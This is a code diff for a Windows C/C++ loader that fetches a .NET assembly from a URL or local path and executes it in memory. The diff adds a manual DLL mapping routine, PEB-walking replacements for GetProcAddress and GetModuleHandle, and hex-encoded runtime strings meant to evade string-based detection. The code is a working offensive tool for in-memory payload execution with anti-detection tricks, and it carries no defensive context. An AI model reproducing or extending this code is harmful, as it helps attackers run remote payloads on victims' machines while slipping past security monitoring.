|
||||
pThunk++;
|
||||
}
|
||||
pImportDesc++;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Call the DLL's entry point (DllMain) for DLL_PROCESS_ATTACH.
|
||||
if (!(dwFlags & LOAD_LIBRARY_AS_DATAFILE))
|
||||
{
|
||||
if (pNTHeader->FileHeader.Characteristics & IMAGE_FILE_DLL)
|
||||
{
|
||||
typedef BOOL(WINAPI* DllMainProc)(HINSTANCE, DWORD, LPVOID);
|
||||
DllMainProc pDllMain = (DllMainProc)((LPBYTE)baseDll + pNTHeader->OptionalHeader.AddressOfEntryPoint);
|
||||
if (pDllMain)
|
||||
pDllMain((HINSTANCE)baseDll, DLL_PROCESS_ATTACH, NULL);
|
||||
}
|
||||
}
|
||||
|
||||
// Return the base address as the module handle.
|
||||
_tprintf(_T("MyLoadLibraryExWrapped: Successfully loaded %s at 0x%p\n"), fullPath, baseDll);
|
||||
return (HMODULE)baseDll;
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
#include <tchar.h>
|
||||
#include <stdio.h>
|
||||
|
||||
static void BuildFullPath(LPCTSTR lpFileName, LPTSTR fullPath, size_t fullPathSize);
|
||||
HMODULE MyLoadLibraryExWrapped(LPCTSTR lpFileName, HANDLE hFileIgnored, DWORD dwFlags);
|
||||
@@ -0,0 +1,34 @@
|
||||
#include "LocalFileReaderA.h"
|
||||
#include <stdio.h>
|
||||
|
||||
BOOL ReadLocalFileA(LPCSTR filePath, PBYTE* pBuffer, PDWORD pSize) {
|
||||
HANDLE hFile = CreateFileA(filePath, GENERIC_READ, FILE_SHARE_READ, NULL,
|
||||
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
if (hFile == INVALID_HANDLE_VALUE) {
|
||||
printf("[-] Unable to open local file: %s\n", filePath);
|
||||
return FALSE;
|
||||
}
|
||||
DWORD fileSize = GetFileSize(hFile, NULL);
|
||||
if (fileSize == INVALID_FILE_SIZE) {
|
||||
printf("[-] GetFileSize failed for: %s\n", filePath);
|
||||
CloseHandle(hFile);
|
||||
return FALSE;
|
||||
}
|
||||
PBYTE buffer = (PBYTE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, fileSize);
|
||||
if (!buffer) {
|
||||
printf("[-] HeapAlloc failed for local file buffer.\n");
|
||||
CloseHandle(hFile);
|
||||
return FALSE;
|
||||
}
|
||||
DWORD bytesRead = 0;
|
||||
BOOL readResult = ReadFile(hFile, buffer, fileSize, &bytesRead, NULL);
|
||||
CloseHandle(hFile);
|
||||
if (!readResult || bytesRead != fileSize) {
|
||||
printf("[-] ReadFile failed for: %s\n", filePath);
|
||||
HeapFree(GetProcessHeap(), 0, buffer);
|
||||
return FALSE;
|
||||
}
|
||||
*pBuffer = buffer;
|
||||
*pSize = fileSize;
|
||||
return TRUE;
|
||||
}
|
||||
@@ -0,0 +1,20 @@
|
||||
#ifndef LOCALFILEREADER_H
|
||||
#define LOCALFILEREADER_H
|
||||
|
||||
#include <Windows.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
// Reads a local file specified by filePath into memory.
|
||||
// On success, *pBuffer receives the allocated buffer containing the file data,
|
||||
// and *pSize receives the size of the file in bytes.
|
||||
// Returns TRUE on success, or FALSE on error.
|
||||
BOOL ReadLocalFileA(LPCSTR filePath, PBYTE* pBuffer, PDWORD pSize);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif // LOCALFILEREADER_H
|
||||
+242
-36
@@ -2,73 +2,279 @@
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
#include "DotnetExecute.h"
|
||||
#include <string>
|
||||
|
||||
BOOL ReadFileFromURLA(
|
||||
IN LPCSTR url,
|
||||
OUT PBYTE* ppFileBuffer,
|
||||
OUT PDWORD pdwFileSize
|
||||
);
|
||||
#include "Base64.h"
|
||||
#include "DotnetExecute.h"
|
||||
#include "Http.h"
|
||||
#include "LocalFileReaderA.h"
|
||||
|
||||
// All runtime strings are now stored as arrays of character codes.
|
||||
|
||||
// print_usage strings
|
||||
static const char s_usage1[] = { 0x55,0x73,0x61,0x67,0x65,0x3A,0x0A,0x00 }; // "Usage:\n"
|
||||
|
||||
static const char s_usage2[] = {
|
||||
0x20,0x20,0x25,0x73,0x20,0x2D,0x70,0x61,0x74,0x68,0x20,
|
||||
0x3C,0x6C,0x6F,0x63,0x61,0x74,0x69,0x6F,0x6E,0x3E,0x20,
|
||||
0x2D,0x61,0x20,
|
||||
0x3C,0x63,0x6C,0x65,0x61,0x72,0x74,0x65,0x78,0x74,0x20,0x61,0x72,0x67,0x75,0x6D,0x65,0x6E,0x74,0x73,0x3E,0x0A,0x00
|
||||
};
|
||||
|
||||
static const char s_usage3[] = {
|
||||
0x20,0x20,0x25,0x73,0x20,0x2D,0x70,0x61,0x74,0x68,0x20,
|
||||
0x3C,0x6C,0x6F,0x63,0x61,0x74,0x69,0x6F,0x6E,0x3E,0x20,
|
||||
0x2D,0x62,0x36,0x34,0x20,
|
||||
0x3C,0x62,0x61,0x73,0x65,0x36,0x34,0x20,0x65,0x6E,0x63,0x6F,0x64,0x65,0x64,0x20,
|
||||
0x61,0x72,0x67,0x75,0x6D,0x65,0x6E,0x74,0x73,0x3E,0x0A,0x00
|
||||
};
|
||||
|
||||
static const char s_usage4[] = { 0x0A,0x4F,0x70,0x74,0x69,0x6F,0x6E,0x73,0x3A,0x0A,0x00 }; // "\nOptions:\n"
|
||||
|
||||
static const char s_usage5[] = {
|
||||
0x20,0x20,0x2D,0x70,0x61,0x74,0x68,0x20,0x20,0x20,0x20,
|
||||
0x53,0x70,0x65,0x63,0x69,0x66,0x79,0x20,0x74,0x68,0x65,0x20,0x6C,0x6F,0x63,0x61,
|
||||
0x74,0x69,0x6F,0x6E,0x20,0x6F,0x66,0x20,0x74,0x68,0x65,0x20,0x61,0x73,0x73,0x65,
|
||||
0x6D,0x62,0x6C,0x79,0x2E,0x20,0x49,0x66,0x20,0x74,0x68,0x65,0x20,0x70,0x61,0x74,
|
||||
0x68,0x20,0x62,0x65,0x67,0x69,0x6E,0x73,0x20,0x77,0x69,0x74,0x68,0x20,
|
||||
0x22, // double quote character (0x22)
|
||||
0x68,0x74,0x74,0x70,
|
||||
0x22, // double quote character (0x22)
|
||||
0x2C,0x0A,0x00
|
||||
};
|
||||
|
||||
static const char s_usage6[] = {
|
||||
0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20, // 11 spaces
|
||||
0x61,0x6E,0x20,
|
||||
0x48,0x54,0x54,0x50,0x20,
|
||||
0x72,0x65,0x71,0x75,0x65,0x73,0x74,0x20,
|
||||
0x69,0x73,0x20,
|
||||
0x6D,0x61,0x64,0x65,0x3B,0x20,
|
||||
0x6F,0x74,0x68,0x65,0x72,0x77,0x69,0x73,0x65,0x2C,0x20,
|
||||
0x69,0x74,0x20,
|
||||
0x69,0x73,0x20,
|
||||
0x74,0x72,0x65,0x61,0x74,0x65,0x64,0x20,
|
||||
0x61,0x73,0x20,
|
||||
0x61,0x20,
|
||||
0x6C,0x6F,0x63,0x61,0x6C,0x20,
|
||||
0x66,0x69,0x6C,0x65,0x2E,0x0A,0x00
|
||||
};
|
||||
|
||||
static const char s_usage7[] = {
|
||||
0x20,0x20,0x2D,0x61,0x20,
|
||||
0x20,0x20,0x20,0x20,0x20,0x20, // 7 spaces
|
||||
0x50,0x72,0x6F,0x76,0x69,0x64,0x65,0x20,
|
||||
0x63,0x6C,0x65,0x61,0x72,0x74,0x65,0x78,0x74,0x20,
|
||||
0x61,0x72,0x67,0x75,0x6D,0x65,0x6E,0x74,0x73,0x20,
|
||||
0x66,0x6F,0x72,0x20,
|
||||
0x44,0x6F,0x74,0x6E,0x65,0x74,0x45,0x78,0x65,0x63,0x75,0x74,0x65,0x2E,0x0A,0x00
|
||||
};
|
||||
|
||||
static const char s_usage8[] = {
|
||||
0x20,0x20,0x2D,0x62,0x36,0x34,0x20,
|
||||
0x20,0x20,0x20,0x20, // 5 spaces
|
||||
0x50,0x72,0x6F,0x76,0x69,0x64,0x65,0x20,
|
||||
0x62,0x61,0x73,0x65,0x36,0x34,0x20,
|
||||
0x65,0x6E,0x63,0x6F,0x64,0x65,0x64,0x20,
|
||||
0x61,0x72,0x67,0x75,0x6D,0x65,0x6E,0x74,0x73,0x20,
|
||||
0x66,0x6F,0x72,0x20,
|
||||
0x44,0x6F,0x74,0x6E,0x65,0x74,0x45,0x78,0x65,0x63,0x75,0x74,0x65,0x2E,0x0A,0x00
|
||||
};
|
||||
|
||||
// Error messages in main.
|
||||
static const char s_err_read_url[] = {
|
||||
0x5B,0x2D,0x5D,0x20,0x52,0x65,0x61,0x64,0x46,0x69,0x6C,0x65,0x46,0x72,0x6F,0x6D,
|
||||
0x55,0x52,0x4C,0x41,0x20,0x66,0x61,0x69,0x6C,0x65,0x64,0x20,0x66,0x6F,0x72,0x20,
|
||||
0x55,0x52,0x4C,0x3A,0x20,0x25,0x73,0x0A,0x00
|
||||
};
|
||||
|
||||
static const char s_err_read_local[] = {
|
||||
0x5B,0x2D,0x5D,0x20,0x52,0x65,0x61,0x64,0x4C,0x6F,0x63,0x61,0x6C,0x46,0x69,0x6C,
|
||||
0x65,0x41,0x20,0x66,0x61,0x69,0x6C,0x65,0x64,0x20,0x66,0x6F,0x72,0x20,0x66,0x69,
|
||||
0x6C,0x65,0x3A,0x20,0x25,0x73,0x0A,0x00
|
||||
};
|
||||
|
||||
static const char s_err_mb_to_wc_len[] = {
|
||||
0x5B,0x2D,0x5D,0x20,0x4D,0x75,0x6C,0x74,0x69,0x42,0x79,0x74,0x65,0x54,0x6F,0x57,
|
||||
0x69,0x64,0x65,0x43,0x68,0x61,0x72,0x20,0x66,0x61,0x69,0x6C,0x65,0x64,0x20,0x74,
|
||||
0x6F,0x20,0x67,0x65,0x74,0x20,0x6C,0x65,0x6E,0x67,0x74,0x68,0x2E,0x0A,0x00
|
||||
};
|
||||
|
||||
static const char s_err_heap_alloc_wc[] = {
|
||||
0x5B,0x2D,0x5D,0x20,0x48,0x65,0x61,0x70,0x41,0x6C,0x6C,0x6F,0x63,0x20,0x66,0x61,
|
||||
0x69,0x6C,0x65,0x64,0x20,0x66,0x6F,0x72,0x20,0x77,0x69,0x64,0x65,0x20,0x63,0x68,
|
||||
0x61,0x72,0x20,0x61,0x72,0x67,0x75,0x6D,0x65,0x6E,0x74,0x73,0x2E,0x0A,0x00
|
||||
};
|
||||
|
||||
static const char s_err_mb_to_wc_conv[] = {
|
||||
0x5B,0x2D,0x5D,0x20,0x4D,0x75,0x6C,0x74,0x69,0x42,0x79,0x74,0x65,0x54,0x6F,0x57,
|
||||
0x69,0x64,0x65,0x43,0x68,0x61,0x72,0x20,0x63,0x6F,0x6E,0x76,0x65,0x72,0x73,0x69,
|
||||
0x6F,0x6E,0x20,0x66,0x61,0x69,0x6C,0x65,0x64,0x2E,0x0A,0x00
|
||||
};
|
||||
|
||||
static const char s_err_heap_alloc_args[] = {
|
||||
0x5B,0x2D,0x5D,0x20,0x48,0x65,0x61,0x70,0x41,0x6C,0x6C,0x6F,0x63,0x20,0x66,0x61,
|
||||
0x69,0x6C,0x65,0x64,0x20,0x66,0x6F,0x72,0x20,0x61,0x72,0x67,0x75,0x6D,0x65,0x6E,
|
||||
0x74,0x73,0x2E,0x0A,0x00
|
||||
};
|
||||
|
||||
static const char s_err_mbstowcs[] = {
|
||||
0x5B,0x2D,0x5D,0x20,0x6D,0x62,0x73,0x74,0x6F,0x77,0x63,0x73,0x5F,0x73,0x20,
|
||||
0x66,0x61,0x69,0x6C,0x65,0x64,0x20,0x6F,0x6E,0x20,0x61,0x72,0x67,0x75,0x6D,0x65,
|
||||
0x6E,0x74,0x20,0x25,0x64,0x2E,0x0A,0x00
|
||||
};
|
||||
|
||||
static const char s_err_heap_alloc_empty[] = {
|
||||
0x5B,0x2D,0x5D,0x20,0x48,0x65,0x61,0x70,0x41,0x6C,0x6C,0x6F,0x63,0x20,0x66,0x61,
|
||||
0x69,0x6C,0x65,0x64,0x20,0x66,0x6F,0x72,0x20,0x65,0x6D,0x70,0x74,0x79,0x20,0x61,
|
||||
0x72,0x67,0x75,0x6D,0x65,0x6E,0x74,0x73,0x2E,0x0A,0x00
|
||||
};
|
||||
|
||||
static const char s_err_dotnet[] = {
|
||||
0x5B,0x2D,0x5D,0x20,0x44,0x6F,0x74,0x6E,0x65,0x74,0x45,0x78,0x65,0x63,0x75,0x74,
|
||||
0x65,0x20,0x46,0x61,0x69,0x6C,0x65,0x64,0x00
|
||||
};
|
||||
|
||||
static const char s_output[] = { 0x0A,0x0A,0x25,0x73,0x00 }; // "\n\n%s"
|
||||
|
||||
// Additional flags and text.
|
||||
static const char s_http[] = { 0x68,0x74,0x74,0x70,0x00 }; // "http"
|
||||
static const char s_path_flag[] = { 0x2D,0x70,0x61,0x74,0x68,0x00 }; // "-path"
|
||||
static const char s_b64_flag[] = { 0x2D,0x62,0x36,0x34,0x00 }; // "-b64"
|
||||
static const char s_a_flag[] = { 0x2D,0x61,0x00 }; // "-a"
|
||||
|
||||
// Wide-character strings.
|
||||
static const WCHAR s_myappdomain[] = { 0x004D,0x0079,0x0041,0x0070,0x0070,0x0044,0x006F,0x006D,0x0061,0x0069,0x006E,0x0000 }; // "MyAppDomain"
|
||||
static const WCHAR s_space[] = { 0x0020,0x0000 }; // " "
|
||||
|
||||
void print_usage(const char* progname) {
|
||||
printf("%s", s_usage1);
|
||||
printf(s_usage2, progname);
|
||||
printf(s_usage3, progname);
|
||||
printf("%s", s_usage4);
|
||||
printf("%s", s_usage5);
|
||||
printf("%s", s_usage6);
|
||||
printf("%s", s_usage7);
|
||||
printf("%s", s_usage8);
|
||||
}
|
||||
|
||||
int main(int argc, char* argv[]) {
|
||||
PBYTE AssemblyBytes = NULL;
|
||||
DWORD AssemblySize = 0;
|
||||
LPSTR OutputBuffer = NULL;
|
||||
ULONG OutputLength = 0;
|
||||
PWSTR arguments = NULL;
|
||||
|
||||
if (argc < 2) {
|
||||
printf("Usage: %s <url> [arguments...]\n", argv[0]);
|
||||
// At a minimum, require: -path <location> and an arguments flag.
|
||||
if (argc < 3) {
|
||||
print_usage(argv[0]);
|
||||
return 1;
|
||||
}
|
||||
|
||||
LPCSTR url = argv[1];
|
||||
PWSTR arguments = NULL;
|
||||
// Process the location flag.
|
||||
if (strcmp(argv[1], s_path_flag) != 0) {
|
||||
print_usage(argv[0]);
|
||||
return 1;
|
||||
}
|
||||
|
||||
if (argc > 2) {
|
||||
size_t totalLen = 0;
|
||||
for (int i = 2; i < argc; i++) {
|
||||
totalLen += strlen(argv[i]) + 1;
|
||||
}
|
||||
LPCSTR location = argv[2];
|
||||
BOOL isHTTP = (_strnicmp(location, s_http, 4) == 0);
|
||||
|
||||
arguments = (PWSTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, totalLen * sizeof(WCHAR));
|
||||
if (!arguments) {
|
||||
printf("[-] HeapAlloc failed for arguments\n");
|
||||
if (isHTTP) {
|
||||
if (!ReadFileFromURLA(location, &AssemblyBytes, &AssemblySize)) {
|
||||
printf(s_err_read_url, location);
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
else {
|
||||
if (!ReadLocalFileA(location, &AssemblyBytes, &AssemblySize)) {
|
||||
printf(s_err_read_local, location);
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
size_t convertedChars = 0;
|
||||
for (int i = 2; i < argc; i++) {
|
||||
errno_t err = mbstowcs_s(&convertedChars, arguments + wcslen(arguments), totalLen, argv[i], _TRUNCATE);
|
||||
if (err != 0) {
|
||||
printf("[-] mbstowcs_s failed with error code: %d\n", err);
|
||||
HeapFree(GetProcessHeap(), 0, arguments);
|
||||
// Process the arguments flag.
|
||||
if (argc > 3) {
|
||||
if (strcmp(argv[3], s_b64_flag) == 0) {
|
||||
if (argc < 5) {
|
||||
print_usage(argv[0]);
|
||||
HeapFree(GetProcessHeap(), 0, AssemblyBytes);
|
||||
return 1;
|
||||
}
|
||||
if (i < argc - 1) {
|
||||
wcscat_s(arguments, totalLen, L" ");
|
||||
std::string decodedStr = base64_decode(argv[4], false);
|
||||
int wideCharLen = MultiByteToWideChar(CP_ACP, 0, decodedStr.c_str(), -1, NULL, 0);
|
||||
if (wideCharLen == 0) {
|
||||
printf(s_err_mb_to_wc_len);
|
||||
HeapFree(GetProcessHeap(), 0, AssemblyBytes);
|
||||
return 1;
|
||||
}
|
||||
arguments = (PWSTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, wideCharLen * sizeof(WCHAR));
|
||||
if (!arguments) {
|
||||
printf(s_err_heap_alloc_wc);
|
||||
HeapFree(GetProcessHeap(), 0, AssemblyBytes);
|
||||
return 1;
|
||||
}
|
||||
if (MultiByteToWideChar(CP_ACP, 0, decodedStr.c_str(), -1, arguments, wideCharLen) == 0) {
|
||||
printf(s_err_mb_to_wc_conv);
|
||||
HeapFree(GetProcessHeap(), 0, arguments);
|
||||
HeapFree(GetProcessHeap(), 0, AssemblyBytes);
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
else if (strcmp(argv[3], s_a_flag) == 0) {
|
||||
if (argc < 5) {
|
||||
print_usage(argv[0]);
|
||||
HeapFree(GetProcessHeap(), 0, AssemblyBytes);
|
||||
return 1;
|
||||
}
|
||||
// Concatenate all cleartext arguments from argv[4] onward.
|
||||
size_t totalLen = 0;
|
||||
for (int i = 4; i < argc; i++) {
|
||||
totalLen += strlen(argv[i]) + 1;
|
||||
}
|
||||
arguments = (PWSTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, totalLen * sizeof(WCHAR));
|
||||
if (!arguments) {
|
||||
printf(s_err_heap_alloc_args);
|
||||
HeapFree(GetProcessHeap(), 0, AssemblyBytes);
|
||||
return 1;
|
||||
}
|
||||
arguments[0] = L'\0';
|
||||
for (int i = 4; i < argc; i++) {
|
||||
size_t currentLen = wcslen(arguments);
|
||||
size_t convertedChars = 0;
|
||||
if (mbstowcs_s(&convertedChars, arguments + currentLen, totalLen - currentLen, argv[i], _TRUNCATE) != 0) {
|
||||
printf(s_err_mbstowcs, i);
|
||||
HeapFree(GetProcessHeap(), 0, arguments);
|
||||
HeapFree(GetProcessHeap(), 0, AssemblyBytes);
|
||||
return 1;
|
||||
}
|
||||
if (i < argc - 1) {
|
||||
wcscat_s(arguments, totalLen, s_space);
|
||||
}
|
||||
}
|
||||
}
|
||||
else {
|
||||
print_usage(argv[0]);
|
||||
HeapFree(GetProcessHeap(), 0, AssemblyBytes);
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
else {
|
||||
arguments = (PWSTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(WCHAR));
|
||||
if (!arguments) {
|
||||
printf("[-] HeapAlloc failed for empty arguments\n");
|
||||
printf(s_err_heap_alloc_empty);
|
||||
HeapFree(GetProcessHeap(), 0, AssemblyBytes);
|
||||
return 1;
|
||||
}
|
||||
arguments[0] = L'\0';
|
||||
}
|
||||
|
||||
if (!ReadFileFromURLA(url, &AssemblyBytes, &AssemblySize)) {
|
||||
puts("[-] ReadFileFromURLA Failed");
|
||||
HeapFree(GetProcessHeap(), 0, arguments);
|
||||
return 1;
|
||||
}
|
||||
|
||||
if (DotnetExecute(AssemblyBytes, AssemblySize, (PWSTR)L"MyAppDomain", arguments, &OutputBuffer, &OutputLength)) {
|
||||
puts("[-] DotnetExecute Failed");
|
||||
// Execute the .NET assembly.
|
||||
if (DotnetExecute(AssemblyBytes, AssemblySize, (PWSTR)s_myappdomain, arguments, &OutputBuffer, &OutputLength)) {
|
||||
puts(s_err_dotnet);
|
||||
}
|
||||
else {
|
||||
printf("\n\n%s", OutputBuffer);
|
||||
printf(s_output, OutputBuffer);
|
||||
}
|
||||
|
||||
HeapFree(GetProcessHeap(), 0, AssemblyBytes);
|
||||
|
||||
@@ -0,0 +1,73 @@
|
||||
#include <Windows.h>
|
||||
#include <winternl.h>
|
||||
|
||||
// Replacement for GetProcAddress.
|
||||
FARPROC GetProcAddressReplacement(IN HMODULE hModule, IN LPCSTR lpApiName) {
|
||||
PBYTE pBase = (PBYTE)hModule;
|
||||
|
||||
// Get DOS header and validate signature.
|
||||
PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)pBase;
|
||||
if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
|
||||
return NULL;
|
||||
|
||||
// Get NT headers and validate signature.
|
||||
PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(pBase + pImgDosHdr->e_lfanew);
|
||||
if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
|
||||
return NULL;
|
||||
|
||||
// Get the optional header.
|
||||
IMAGE_OPTIONAL_HEADER ImgOptHdr = pImgNtHdrs->OptionalHeader;
|
||||
|
||||
// Get the export directory.
|
||||
PIMAGE_EXPORT_DIRECTORY pImgExportDir = (PIMAGE_EXPORT_DIRECTORY)(pBase +
|
||||
ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
|
||||
|
||||
// Get arrays for names, addresses, and ordinals.
|
||||
PDWORD FunctionNameArray = (PDWORD)(pBase + pImgExportDir->AddressOfNames);
|
||||
PDWORD FunctionAddressArray = (PDWORD)(pBase + pImgExportDir->AddressOfFunctions);
|
||||
PWORD FunctionOrdinalArray = (PWORD)(pBase + pImgExportDir->AddressOfNameOrdinals);
|
||||
|
||||
// Loop through exported functions.
|
||||
for (DWORD i = 0; i < pImgExportDir->NumberOfFunctions; i++) {
|
||||
CHAR* pFunctionName = (CHAR*)(pBase + FunctionNameArray[i]);
|
||||
PVOID pFunctionAddress = (PVOID)(pBase + FunctionAddressArray[FunctionOrdinalArray[i]]);
|
||||
if (strcmp(lpApiName, pFunctionName) == 0) {
|
||||
return (FARPROC)pFunctionAddress;
|
||||
}
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// Simple case-insensitive wide-string comparison.
|
||||
bool IsStringEqual(LPCWSTR a, LPCWSTR b) {
|
||||
return (wcscmp(a, b) == 0);
|
||||
}
|
||||
|
||||
// Replacement for GetModuleHandle.
|
||||
HMODULE GetModuleHandleReplacement(IN LPCWSTR szModuleName) {
|
||||
#ifdef _WIN64
|
||||
PPEB pPeb = (PPEB)(__readgsqword(0x60));
|
||||
#elif _WIN32
|
||||
PPEB pPeb = (PPEB)(__readfsdword(0x30));
|
||||
#endif
|
||||
|
||||
PPEB_LDR_DATA pLdr = (PPEB_LDR_DATA)(pPeb->Ldr);
|
||||
PLDR_DATA_TABLE_ENTRY pDte = (PLDR_DATA_TABLE_ENTRY)(pLdr->InMemoryOrderModuleList.Flink);
|
||||
|
||||
while (pDte) {
|
||||
if (pDte->FullDllName.Length != 0) {
|
||||
if (IsStringEqual(pDte->FullDllName.Buffer, szModuleName)) {
|
||||
#ifdef STRUCTS
|
||||
return (HMODULE)(pDte->InInitializationOrderLinks.Flink);
|
||||
#else
|
||||
return (HMODULE)pDte->Reserved2[0];
|
||||
#endif
|
||||
}
|
||||
}
|
||||
else {
|
||||
break;
|
||||
}
|
||||
pDte = *(PLDR_DATA_TABLE_ENTRY*)(pDte);
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
@@ -0,0 +1,5 @@
|
||||
#pragma once
|
||||
#include <winternl.h>
|
||||
|
||||
FARPROC GetProcAddressReplacement(IN HMODULE hModule, IN LPCSTR lpApiName);
|
||||
HMODULE GetModuleHandleReplacement(IN LPCWSTR szModuleName);
|
||||
Reference in New Issue
Block a user